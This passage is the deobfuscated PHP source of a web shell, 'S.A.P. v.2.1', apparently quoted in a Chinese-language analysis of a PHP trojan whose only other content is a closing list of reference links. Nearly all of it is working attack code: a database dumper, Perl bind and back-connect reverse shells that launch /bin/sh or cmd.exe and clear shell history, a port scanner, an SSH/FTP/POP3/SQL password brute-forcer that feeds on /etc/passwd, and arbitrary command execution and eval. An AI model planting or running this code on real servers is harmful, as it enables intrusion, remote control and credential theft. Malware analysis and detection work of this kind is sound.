        'mssql' => 'MSSQL',
        'pg' => 'PostgreSQL'
    );
    foreach ($t as $k => $v) if (@function_exists($k . '_connect')) {
        echo '<option value="', $k, '"';
        if ($c['tp'] == $k) echo ' selected="selected"';
        echo '>', $v, '&nbsp;</option>';
    } ?></select> Host : <input type="text" name="sc[ha]" value="<?php
    echo escHTML($c['ha']); ?>" style="width:150px"/>:<input type="text" name="sc[hp]" value="<?php
    echo $c['hp']; ?>" style="width:45px"/> User : <input type="text" name="sc[un]" value="<?php
    echo escHTML($c['un']); ?>" style="width:130px"/> Password : <input type="text" name="sc[up]" value="<?php
    echo escHTML($c['up']); ?>" style="width:130px"/> DB : <input type="text" name="sc[db]" value="<?php
    echo escHTML($c['db']); ?>" style="width:130px"/> <input type="submit" name="se" value="&gt;"/></form></fieldset><?php
    if (!empty($c['tp'])) {
        $s = new sc();
        $s->init($c['tp']);
        if ($s->cn($c['ha'], $c['hp'], $c['un'], $c['up'])) {
            $_SESSION['DB'] = $c; ?><div style="float:left; margin-left:3px; margin-top:4px; width:235px;"><form action="" method="post" id="fd"><input type="hidden" name="se"/><table class="lists" id="fd"><tr><th width="20px"><input type="checkbox" onclick="ca(this.checked, 'fd')"/></th><th>Databases :</th></tr><?php
            if ($s->ld()) {
                $i = 0;
                while ($v = $s->fv($i++)) echo '<tr><td><input type="checkbox" name="cd[]" value="', $v, '"/></td><td><input type="submit" name="sd" value="', $v, '"/></td></tr>';
            } ?><tr><th colspan="2"><input type="submit" name="sdd" value="Dump"/></th></tr></table></form><?php
            if (!empty($c['db'])) $s->sd($c['db']);
            if (!empty($c['db']) && $r = $s->lt($c['db'])) {
                $ts = array(); ?><br/><form action="" method="post" id="ft"><input type="hidden" name="se"/><table class="lists"><tr><th width="20px"><input type="checkbox" onclick="ca(this.checked, 'ft')"/></th><th>[ <?php
                echo $c['db']; ?> ]</th></tr><?php
                $i = 0;
                while ($v = $s->fv($i++, $r)) {
                    $ts[$v] = $s->ts($c['db'], $v);
                    echo '<tr><td><input type="checkbox" name="ct[]" value="', $v, '"/></td><td><input type="submit" name="st" value="', $v, '"/><div>', $ts[$v], '</div></td></tr>';
                } ?><tr><th colspan="2"><input type="submit" name="sdt" value="Dump"/></th></tr></table></form><?php
            } ?></div><?php
            if (isset($_POST['sq'])) {
                $q = $_POST['sq'];
                $c['tn'] = '';
            } elseif (!empty($c['tn'])) {
                $p = isset($_POST['sp']) ? $_POST['sp'] : 1;
                $q = $s->ql($c['db'], $c['tn'], $p, $c['sl']);
            } else $q = ''; ?><div style="float:right; width:755px; margin-right:3px;"><fieldset><form action="" method="post">Query : <input type="text" name="sq" value="<?php
            echo escHTML($q); ?>" style="width:650px"/> <input type="submit" name="se" value="&gt;"/></form></fieldset><?php
            if (!empty($q)) {
                if ($s->q($q)) {
                    echo '<div style="overflow-x:auto; margin:3px;"><table class="listr" ><tr>';
                    $i = 0;
                    while ($v = $s->fn($i++)) echo '<th>', escHTML($v) , '</th>';
                    echo '</tr>';
                    while ($v = $s->fr()) {
                        echo '<tr>';
                        foreach ($v as $t) echo '<td><p>', escHTML($t) , '</p></td>';
                        echo '</tr>';
                    }
                    echo '</table></div>';
                    if (!empty($c['tn'])) {
                        $l = ceil($ts[$c['tn']] / $c['sl']);
                        if ($l > 1) { ?><fieldset class="pag"><table width="100%"><tr><td>Page : <form action="" method="post"><input type="hidden" name="se"/><input type="submit" name="sp" value="1"/><?php
                            if ($p > 2) echo ' <button type="submit" name="sp" value="', $p - 1, '">&lt;</button>'; ?></form><form action="" method="post"><input type="hidden" name="se"/> <input type="text" name="sp" value="<?php
                            echo $p; ?>" style="width:60px"/></form><form action="" method="post"><input type="hidden" name="se"/><?php
                            if ($p < $l - 1) echo ' <button type="submit" name="sp" value="', $p + 1, '">&gt;</button>'; ?> <input type="submit" name="sp" value="<?php
                            echo $l; ?>"/></form></td><td align="right"><form action="" method="post">Rows per page: <select name="so"><?php
                            $t = array(
                                10,
                                25,
                                50,
                                100,
                                250,
                                500,
                                1000
                            );
                            foreach ($t as $v) {
                                echo '<option value="', $v, '"';
                                if ($c['sl'] == $v) echo ' selected="selected"';
                                echo '>', $v, '</option>';
                            } ?></select> <input type="submit" name="se" value="&gt;"/></form></td></tr></table></fieldset><?php
                        }
                    }
                } else sm($s->e() , 'e');
            } ?></div><br style="clear:both;"/><?php
            $s->cl();
        } else {
            if (isset($_SESSION['DB'])) unset($_SESSION['DB']);
            sm("Can't connect. " . $s->e() , 'e');
        }
    }
} elseif (isset($_POST['nt'])) {
    $pf = empty($_POST['pf']) ? 0 : $_POST['pf'];
    $pl = empty($_POST['pl']) ? 65535 : $_POST['pl'];
    $sc = empty($_POST['sc']) ? 50 : $_POST['sc']; ?> <div class="ntwrk">   <fieldset><legend>Bind port</legend><form action="" method="post"><div>Port : <input type="text" name="pb" value="<?php
    echo empty($_POST['pb']) ? '8888' : $_POST['pb']; ?>" style="width:42px"/> <button type="submit" name="nt" value="bp"/>&gt;</button></div></form></fieldset>   <fieldset><legend>Back-connect</legend><div><form action="" method="post">To : <input type="text" name="hbc" value="<?php
    echo empty($_POST['hbc']) ? $_SERVER['REMOTE_ADDR'] : $_POST['hbc']; ?>" style="width:102px"/> : <input type="text" name="pbc" value="<?php
    echo empty($_POST['pbc']) ? '8888' : $_POST['pbc']; ?>" style="width:41px"/> <button type="submit" name="nt" value="bc">&gt;</button></form></div></fieldset> <?php
    if (@function_exists('socket_create')) { ?> <fieldset><legend>Port scanner</legend><form action="" method="post"><table width="100%" class="form"><tr><td width="55px">Host :</td><td colspan="2"><input type="text" name="hs" value="<?php
        echo empty($_POST['hs']) ? 'localhost' : $_POST['hs']; ?>" style="width:100%"/></td></tr><tr><td>Ports :</td><td colspan="2"><input type="text" name="pf" size="5" value="<?php
        echo $pf; ?>"/> - <input type="text" name="pl" size="5" value="<?php
        echo $pl; ?>"/></td></tr><tr><td>Streams&nbsp;:</td><td><input type="text" name="sc" size="4" value="<?php
        echo $sc; ?>"/></td><td align="right"><button type="submit" name="nt" value="ps">&gt;</button></td></tr></table></form></fieldset> <?php
    } ?> </div> <div style="float:left; width:740px"><center><?php
    $l0 = '#!/usr/bin/perl' . "\n" . '$SIG{\'CHLD\'}=\'IGNORE\'; use IO::Socket; use FileHandle;$o=" [OK]";$e="      Error: ";$l="\r\n-----------------------------------------\r\n";$h="----  ';
    $l1 = '  ----"; print $h; print "\r\n> Start..."; print "\r\n> Get protocol by name...";$tcp=getprotobyname("tcp") or die print "$l$e$!$l"; print "           $o"; ';
    $l2 = ' print "\r\n> Packed address info...";$sckt=sockaddr_in(';
    $l3 = ') or die print "$l$e$!$l"; print "            $o"; print "\r\n> Create socket..."; socket(SOCKET, PF_INET, SOCK_STREAM,$tcp) or die print "$l$e$!$l"; print "                  $o"; ';
    $l4 = (IW ? '' : 'system("unset HISTFILE; unset SAVEHIST;");') . ' print "\r\n$h\r\n\r\n"; system(' . (IW ? "'cmd.exe'" : "'/bin/sh -i'") . ');print "$l\r\n"; ';
    if ($_POST['nt'] == 'bp') {
        @session_write_close();
        $tfn = ctf($l0 . ' Hello from S.A.P. Bind Port ' . $l1 . $l2 . $_POST['pb'] . ', INADDR_ANY' . $l3 . 'print "\r\n> Set socket options..."; setsockopt(SOCKET, SOL_SOCKET, SO_REUSEADDR, 1) or die print "$l$e$!$l"; print "             $o"; print "\r\n> Bind socket..."; bind(SOCKET,$sckt) or die print "$l$e$!$l"; print "                    $o"; print "\r\n> Listen socket..."; listen(SOCKET, 5) or die print "$l$e$!$l"; print "                  $o"; print "\r\n> Accept connection..."; accept(CONN,SOCKET) or die print "$l$e$!$l"; print "$l      OK! I\'m accept connection.$l";if(!($pid=fork)){if(!defined $pid){exit(0);}open(STDIN, "<&CONN");open(STDOUT, ">&CONN");open(STDERR, ">&CONN");' . $l4 . 'close CONN;}');
        echo '<pre>';
        se('perl ' . $tfn . ' 2>&1 &');
        @unlink($tfn);
        echo '</pre>';
    } elseif ($_POST['nt'] == 'bc') {
        @session_write_close();
        $tfn = ctf($l0 . 'Hello from S.A.P. BackConnect' . $l1 . 'print "\r\n> Convert host address...";$inet=inet_aton("' . $_POST['hbc'] . '") or die print "$l$e$!$l"; print "           $o";' . $l2 . $_POST['pbc'] . ',$inet' . $l3 . 'print "\r\n> Connect to ' . $_POST['hbc'] . ':' . $_POST['pbc'] . '..."; connect(SOCKET,$sckt) or die print "$l$e$!$l"; print "$l      OK! I\'m successful connected.$l"; open(STDIN, "<&SOCKET");open(STDOUT, ">&SOCKET");open(STDERR, ">&SOCKET");' . $l4);
        echo '<pre>';
        se('perl ' . $tfn . ' 2>&1 &');
        @unlink($tfn);
        echo '</pre>';
    } elseif ($_POST['nt'] == 'ps') {
        @session_write_close();
        $hi = gethostbyname($_POST['hs']);
        echo '<table border="1" class="list"><tr><th>Port</th><th>Service</th><th>Answer</th></tr>';
        for ($pf = $pf; $pf <= $pl; $pf+= $sc + 1) {
            $ss = $sr = $sw = array();
            $scn = ($pf + $sc > $pl) ? $pl - $pf : $sc;
            for ($p = $pf; $p <= ($pf + $scn); $p++) {
                $sh = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
                @socket_set_option($sh, SOL_SOCKET, SO_SNDTIMEO, array(
                    'sec' => 2,
                    'usec' => 0
                ));
                @socket_set_option($sh, SOL_SOCKET, SO_RCVTIMEO, array(
                    'sec' => 2,
                    'usec' => 0
                ));
                @socket_set_nonblock($sh);
                @socket_connect($sh, $hi, $p);
                @socket_set_block($sh);
                usleep(10000);
                $sr[] = $sw[] = $se[] = $sh;
                $ss[$sh] = $p;
            }
            if (@socket_select($sr, $sw, $se, 2)) {
                foreach ($sw as $sn => $sh) if (!empty($ss[$sh])) {
                    @socket_write($sh, "HELLO\r\n\r\n");
                    $sr[] = $sh;
                }
                foreach ($sr as $sn => $sh) if (!empty($ss[$sh])) {
                    $a = @socket_read($sh, 255);
                    @socket_shutdown($sh, 2);
                    @socket_close($sh);
                    echo '<tr><td align="right">', $ss[$sh], '</td><td>', (($s = @getservbyport($ss[$sh], 'tcp')) == '' ? 'unknown' : $s) , '</td><td>', nl2br(escHTML($a)) , '</td></tr>';
                    @flush();
                    unset($sr[$sn], $ss[$sh], $sw[$sh]);
                }
                foreach ($se as $sn => $sh) if (!empty($ss[$sh])) {
                    @socket_shutdown($sh, 2);
                    @socket_close($sh);
                    unset($se[$sn], $ss[$sh]);
                }
            }
        }
        echo '</table>';
    } else { ?><pre></pre><?php
    } ?></center></div><br style="clear:both;"/><?php
} elseif (isset($_POST['br'])) {
    @session_write_close();
    $h = array(
        'ha' => 'localhost',
        'hp' => 22,
        'ps' => array(
            'ssh',
            'SSH'
        )
    );
    $f = array(
        'ha' => 'localhost',
        'hp' => 21,
        'ps' => array(
            'ftp',
            'FTP'
        )
    );
    $m = array(
        'ha' => 'localhost',
        'hp' => 110,
        'ps' => array(
            'mail',
            'MAIL'
        )
    );
    $y = array(
        'ha' => 'localhost',
        'hp' => 3306,
        'ps' => array(
            'mysql',
            'MYSQL',
            'MySQL',
            'mySQL',
            'MYsql',
            'sql',
            'SQL',
            'db',
            'DB',
            'database',
            'DATABASE'
        )
    );
    $s = array(
        'ha' => 'localhost',
        'hp' => 1433,
        'ps' => array(
            'mssql',
            'MSSQL',
            'MsSQL',
            'msSQL',
            'MSsql',
            'sql',
            'SQL',
            'db',
            'DB',
            'database',
            'DATABASE'
        )
    );
    $p = array(
        'ha' => 'localhost',
        'hp' => 5432,
        'ps' => array(
            'pg',
            'PG',
            'pgs',
            'PGS',
            'pgsql',
            'PgSQL',
            'PGSQL',
            'pgSQL',
            'PGsql',
            'postgre',
            'POSTGRE',
            'postgres',
            'POSTGRES',
            'postgresql',
            'POSTGRESQL',
            'PostgreSQL',
            'postgreSQL',
            'POSTGREsql',
            'sql',
            'SQL',
            'db',
            'DB',
            'database',
            'DATABASE'
        )
    );
    if (isset($_POST['brp'])) foreach ($_POST['brp'] as $v) {
        $ {
            'c' . $v
        } = TRUE;
        if (!empty($_POST['h'][$v])) $ {
            $v
        }
        ['ha'] = $_POST['h'][$v];
        if (!empty($_POST['p'][$v])) $ {
            $v
        }
        ['hp'] = $_POST['p'][$v];
    } ?> <div style="float:left; width:335px;"><form action="" method="post"><input type="hidden" name="br"/> <fieldset><legend>Protocols :</legend><table class="form"> <?php
    if (@function_exists('ssh2_connect')) { ?><tr><td><label><input type="checkbox" name="brp[]" value="h"<?php
        if (isset($ch)) echo ' checked="checked"'; ?>/> SSH :</label></td><td><input type="text" name="h[s]" value="<?php
        echo escHTML($h['ha']); ?>"/> : <input type="text" name="p[h]" value="<?php
        echo intval($h['hp']); ?>" style="width:42px"/></td></tr><?php
    }
    if (@function_exists('ftp_connect')) { ?><tr><td><label><input type="checkbox" name="brp[]" value="f"<?php
        if (isset($cf)) echo ' checked="checked"'; ?>/> FTP :</label></td><td><input type="text" name="h[f]" value="<?php
        echo escHTML($f['ha']); ?>"/> : <input type="text" name="p[f]" value="<?php
        echo intval($f['hp']); ?>" style="width:42px"/></td></tr><?php
    }
    if (@function_exists('fsockopen')) { ?><tr><td><label><input type="checkbox" name="brp[]" value="m"<?php
        if (isset($cm)) echo ' checked="checked"'; ?>/> POP3 :</label></td><td><input type="text" name="h[m]" value="<?php
        echo escHTML($m['ha']); ?>"/> : <input type="text" name="p[m]" value="<?php
        echo intval($m['hp']); ?>" style="width:42px"/></td></tr><?php
    }
    if (@function_exists('mysql_connect')) { ?><tr><td><label><input type="checkbox" name="brp[]" value="y"<?php
        if (isset($cy)) echo ' checked="checked"'; ?>/> MySQL :</label></td><td><input type="text" name="h[y]" value="<?php
        echo escHTML($y['ha']); ?>"/> : <input type="text" name="p[y]" value="<?php
        echo intval($y['hp']); ?>" style="width:42px"/></td></tr><?php
    }
    if (@function_exists('mssql_connect')) { ?><tr><td><label><input type="checkbox" name="brp[]" value="s"<?php
        if (isset($cs)) echo ' checked="checked"'; ?>/> MSSQL :</label></td><td><input type="text" name="h[s]" value="<?php
        echo escHTML($s['ha']); ?>"/> : <input type="text" name="p[s]" value="<?php
        echo intval($s['hp']); ?>" style="width:42px"/></td></tr><?php
    }
    if (@function_exists('pg_connect')) { ?><tr><td><label><input type="checkbox" name="brp[]" value="p"<?php
        if (isset($cp)) echo ' checked="checked"'; ?>/> PostgreSQL :</label></td><td><input type="text" name="h[p]" value="<?php
        echo escHTML($p['ha']); ?>"/> : <input type="text" name="p[p]" value="<?php
        echo intval($p['hp']); ?>" style="width:42px"/></td></tr><?php
    } ?> </table></fieldset> <fieldset style="margin-top:10px"><legend>Combinations: </legend><table class="form" width="100%"><tr><td><label><input type="checkbox" name="el"<?php
    if (isset($_POST['el'])) echo ' checked="checked"'; ?>/> root : root</label></td><td><label><input type="checkbox" name="ep"<?php
    if (isset($_POST['ep'])) echo ' checked="checked"'; ?>/> root : ftproot</label></td></tr><tr><td><label><input type="checkbox" name="er"<?php
    if (isset($_POST['er'])) echo ' checked="checked"'; ?>/> root : toor</label></td><td><label><input type="checkbox" name="es"<?php
    if (isset($_POST['es'])) echo ' checked="checked"'; ?>/> root : rootftp</label></td></tr></table></fieldset> <fieldset style="text-align:right"><input type="submit" name="bg" value="&gt;"/></fieldset></form></div> <?php
    echo '<div style="float:left; margin:10px; width:640px;">';
    if (isset($_POST['bg']) && !empty($_POST['brp'])) { ?><table border="1" class="list" width="100%"><tr><th>Protocol</th><th>Login</th><th>Password</th><th>Result</th></tr><?php
        $a = @file('/etc/passwd');
        foreach ($a as $l) {
            $l = explode(':', $l);
            $l = $l[0];
            $c = array(
                ''
            );
            foreach ($_POST['brp'] as $v) {
                if (isset($_POST['el'])) $c[] = $l;
                if (isset($_POST['er'])) $c[] = strrev($l);
                if (isset($_POST['ep'])) foreach ($ {
                    $v
                }
                ['ps'] as $k) $c[] = $k . $l;
                if (isset($_POST['es'])) foreach ($ {
                    $v
                }
                ['ps'] as $k) $c[] = $l . $k;
                $c = array_merge($c, $ {
                    $v
                }
                ['ps']);
                switch ($v) {
                    case 'h':
                        if ($r = @ssh2_connect($h['ha'], $h['hp'])) {
                            $b = FALSE;
                            foreach ($c as $k) {
                                if (@ssh2_auth_password($r, $l, $k)) $b = TRUE;
                                echo '<tr class="', $b ? 'ok' : 'fail', '"><td>SSH</td><td>', escHTML($l) , '</td><td>', escHTML($k) , '</td><td>', $b ? 'OK' : 'FAILED', '</td></tr>';
                                flush();
                                if ($b) break;
                                else @usleep(500);
                            }
                        }
                        break;

                    case 'f':
                        $b = FALSE;
                        foreach ($c as $k) if ($r = @ftp_connect($f['ha'], $f['hp'])) {
                            if (@ftp_login($r, $l, $k)) $b = TRUE;
                            echo '<tr class="', $b ? 'ok' : 'fail', '"><td>FTP</td><td>', escHTML($l) , '</td><td>', escHTML($k) , '</td><td>', $b ? 'OK' : 'FAILED', '</td></tr>';
                            @ftp_close($r);
                            flush();
                            if ($b) break;
                            else @usleep(500);
                        }
                        break;

                    case 'm':
                        foreach ($c as $k) if ($r = @fsockopen($m['ha'], $m['hp'], $en, $es, 2)) {
                            @fgets($r);
                            @fwrite($r, "USER " . $l . "\n");
                            $t = @fgets($r);
                            if ($t[0] == '-') {
                                @fwrite($r, "PASS " . $k . "\n");
                                $t = @fgets($r);
                            }
                            @fwrite($r, "QUIT\n");
                            @fclose($r);
                            echo '<tr class="', ($t[0] == '-') ? 'fail' : 'ok', '"><td>POP3</td><td>', escHTML($l) , '</td><td>', escHTML($k) , '</td><td>', ($t[0] == '-') ? 'FAILED' : 'OK', '</td></tr>';
                            flush();
                            if ($t[0] == '-') @usleep(500);
                            else break;
                        }
                        break;

                    case 'y':
                        foreach ($c as $k) {
                            if ($r = @mysql_connect($y['ha'] . ':' . $y['hp'], $l, $k, TRUE)) @mysql_close($r);
                            echo '<tr class="', $r ? 'ok' : 'fail', '"><td>MySQL</td><td>', escHTML($l) , '</td><td>', escHTML($k) , '</td><td>', $r ? 'OK' : 'FAILED', '</td></tr>';
                            flush();
                            if ($r) break;
                            else @usleep(500);
                        }
                        break;

                    case 's':
                        foreach ($c as $k) {
                            if ($r = @mssql_connect($s['ha'] . ',' . $s['hp'], $l, $k, TRUE)) @mssql_close($r);
                            echo '<tr class="', $r ? 'ok' : 'fail', '"><td>MSSQL</td><td>', escHTML($l) , '</td><td>', escHTML($k) , '</td><td>', $r ? 'OK' : 'FAILED', '</td></tr>';
                            flush();
                            if ($r) break;
                            else @usleep(500);
                        }
                        break;

                    case 'p':
                        foreach ($c as $k) {
                            if ($r = @pg_connect('host=' . $p['ha'] . ' port=' . $p['hp'] . ' user=' . $l . ' password=' . $k)) @pg_close($r);
                            echo '<tr class="', $r ? 'ok' : 'fail', '"><td>PostgreSQL</td><td>', escHTML($l) , '</td><td>', escHTML($k) , '</td><td>', $r ? 'OK' : 'FAILED', '</td></tr>';
                            flush();
                            if ($r) break;
                            else @usleep(500);
                        }
                        break;
                    }
                }
            }
            echo '</table>';
        } ?></div><br style="clear:both"/><?php
    } elseif (isset($_POST['sc'])) {
        @session_write_close();
        function pe($c) {
            @ob_start();
            $e = false;
            @eval('$e=true;');
            if ($e) @eval($c);
            elseif (@function_exists('create_function')) {
                $f = @create_function('', $c);
                $f();
            } else {
                $f = ctf('<?php ' . $c . ' ?>');
                @include ($f);
                @unlink($f);
            }
            echo escHTML(@ob_get_clean());
        }
        echo '<pre>';
        if (!empty($_POST['ex'])) se('(' . $_POST['ex'] . ')2>&1');
        elseif (!empty($_POST['ev'])) pe($_POST['ev']);
        echo '</pre>';
    } elseif (isset($_POST['si'])) { ?><fieldset><form action="" method="post"><button type="submit" name="si" value="">phpinfo</button><?php
        if (!IW && @is_readable('/etc/passwd')) echo ' <button type="submit" name="si" value="p">passwd</button>'; ?></form></fieldset><?php
        if ($_POST['si'] == 'p') echo '<pre>', @file_get_contents('/etc/passwd') , '</pre>';
        else {
            ob_start();
            phpinfo();
            $i = str_replace('<img ', '<noimg ', ob_get_clean());
            $is = substr($i, strpos($i, '<style'));
            $is = substr($is, 0, strpos($is, '</style>')) . ', p, table, th, td {font-size:12px}</style>';
            $is = str_replace(array(
                'body',
                "\n",
                ','
            ) , array(
                'p',
                ' .php ',
                ', .php '
            ) , $is);
            $i = substr($i, strpos($i, '<body>') + 6);
            $i = substr($i, 0, strrpos($i, '</body>'));
            echo '<div class="php">', $is, $i, '</div>';
        }
    } ?><fieldset style='font:normal 12px "Courier New"'><form action=""method="post"style="margin-bottom:5px;">Exec : <input type="text"name="ex"value="<?php
    echo isset($_POST['ex']) ? escHTML($_POST['ex']) : (IW ? 'ver' : 'uname -a'); ?>" style="width:895px;"/> <button type="submit" name="sc">&gt;</button></form><form action="" method="post" style="margin-top:5px">Eval : <input type="text" name="ev" value="<?php
    echo isset($_POST['ev']) ? escHTML($_POST['ev']) : 'phpinfo();'; ?>" style="width:895px;"/> <button type="submit" name="sc">&gt;</button></form></fieldset><fieldset class="footer"><table width="100%" border="0"><tr><td>S.A.P. v.2.1</td><td align="center"><form action="" method="post"><select name="cs"><?php
    $a = array(
        'UTF-8',
        'Windows-1251',
        'CP-866',
        'KOI8-R',
        'KOI8-U',
        'ISO-8859-5',
        'ISO-8859-1'
    );
    foreach ($a as $v) {
        echo '<option value="', $v, '"';
        if ($_SESSION['CS'] == $v) echo ' selected="selected"';
        echo '>', $v, '&nbsp;</option>';
    } ?></select>  <input type="submit" value="&gt;"/><?php
    if (isset($_POST['fef'])) echo '<input type="hidden" name="fe" value="1"/><input type="hidden" name="fpr" value="', escHTML(str_rot13($_POST['fef'])) , '"/>';
    else {
        $e = array(
            'fe',
            'fs',
            'se',
            'nt',
            'br',
            'sc',
            'si'
        );
        foreach ($e as $i) if (isset($_POST[$i])) {
            echo '<input type="hidden" name="' . $i . '"/>';
            break;
        }
    } ?></form></td><td align="right"><?php
    echo @number_format(mt() - ST, 3, '.', ''); ?> s.</td></tr></table></fieldset></body></html><?php
    die();
?>

参考链接

1. 独自等待_blog
2. php官方手册
3. php木马分析大佬gith
4. 该php木马监测规则
5. php在线编码解码工具1
6. php在线编码解码工具2